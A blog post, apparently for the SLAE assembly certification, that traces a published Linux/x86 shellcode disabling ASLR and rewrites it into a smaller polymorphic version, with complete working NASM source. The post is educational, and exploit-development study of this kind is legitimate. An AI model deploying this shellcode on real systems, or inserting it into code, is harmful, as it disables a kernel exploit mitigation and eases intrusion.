This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-885
Assignment number: 6.1
Github repo: https://github.com/abatchy17/SLAE
Note: A modified version has been published in exploit-db: https://www.exploit-db.com/exploits/41969/ (calls setruid first)
In assignment 6, the requirement is polymorphing 3+ shellcodes off shellstorm.org or exploit-db.com_, _which basically means modifying the code so it doesn’t look like the original yet has the same functionality. This is the first post out of three.
Linux/x86 - Disable ASLR Shellcode (71 bytes)
First shellcode I will dissect is a disable ASLR one by Mohammad Reza Ramezani, shellcode can be found here.
Let’s compile this code and instead of debugging it, we’ll use strace tool
abatchy@ubuntu:~/Desktop/workspace$ gcc 36637.c -fno-stack-protector -z execstack -o 36637.out
abatchy@ubuntu:~/Desktop/workspace$ sudo su
root@ubuntu:/home/abatchy/Desktop/workspace# strace ./36637.out
execve("./36637.out", ["./36637.out"], [/* 26 vars */]) = 0
brk(0) = 0x804b000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fd8000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=79136, ...}) = 0
mmap2(NULL, 79136, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fc4000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0P\234\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1763068, ...}) = 0
mmap2(NULL, 1768060, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e14000
mmap2(0xb7fbe000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1aa000) = 0xb7fbe000
mmap2(0xb7fc1000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fc1000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e13000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e13940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7fbe000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xb7ffe000, 4096, PROT_READ) = 0
munmap(0xb7fc4000, 79136) = 0
**open("/proc/sys/kernel/randomize_va_space", O_RDWR) = 3
write(3, "0\n", 2) = 2
_exit(0) = ?**
+++ exited with 0 +++
**Note: DO NOT run code directly without investigating it first and making sure
it’s totally safe (I did).
So 3 calls are what matter to us:
open("/proc/sys/kernel/randomize_va_space", O_RDWR)
write(3, "0\n", 2)
exit(0)
There seem to be room for improvement, so let’s see if we can make this code significantly smaller.
1. open("/proc/sys/kernel/randomize_va_space", O_RDWR)
Minor refactoring:
xor eax,eax
jmp filename
shellcode:
pop ebx ; EBX now points to '/proc/sys/kernel/randomize_va_spaceX'
mov byte [ebx + 35],al
push byte 5
pop eax
push byte 2
pop ecx
int 80h
We don’t need O_RDWR
permissions, but I tried making use of that with no avail.
2. write(fd, "0\n", 2)
1. mov ebx, eax
: Since we don’t care about EAX, xchg eax,ebx
is one byte less.
2. push byte 2 - pop edx
: ECX already contains 2, let’s exchange them instead.
3. jmp-call-pop
: Got rid of it and replaced it with a push ‘0’.
xchg eax, ebx ; One byte less than mov ebx, eax
push byte 4
pop eax
xchg ecx, edx ; ECX already contains 2
push byte 0x30
mov ecx, esp ; ECX now points to "0"
int 80h ; EAX will now contains 1
3. exit(0)
Is it a big deal exiting with non-zero status? Not really, so let’s not nullify EBX (it currently contains the file descriptor).
Can we do better? Yes! write()
returns number of bytes written, which should be 1 (we only wrote “0”), so we can exit directly!
int 80h ; Yep, that's it
Final shellcode
section .text
global _start
_start:
;
; open("/proc/sys/kernel/randomize_va_spaceX", O_RDWR)
;
xor eax,eax
jmp aslr_file
shellcode:
pop ebx ; EBX now points to '/proc/sys/kernel/randomize_va_spaceX'
mov byte [ebx + 35],al
push byte 5
pop eax
push byte 2
pop ecx
int 80h
;
; write(fd, '0', 1)
;
xchg eax, ebx ; One byte less than mov ebx, eax
push byte 4
pop eax
xchg ecx, edx ; ECX already contains 2
push byte 0x30
mov ecx, esp ; ECX now points to "0"
int 80h ; EAX will now contains 1
;
; exit(0)
;
int 80h ; Yep, that's it
aslr_file:
call shellcode ; Skips the filename and avoids using JMP
db '/proc/sys/kernel/randomize_va_spaceX'
Shellcode size has been cut down to 71 bytes (13 bytes less than original code).
- Abatchy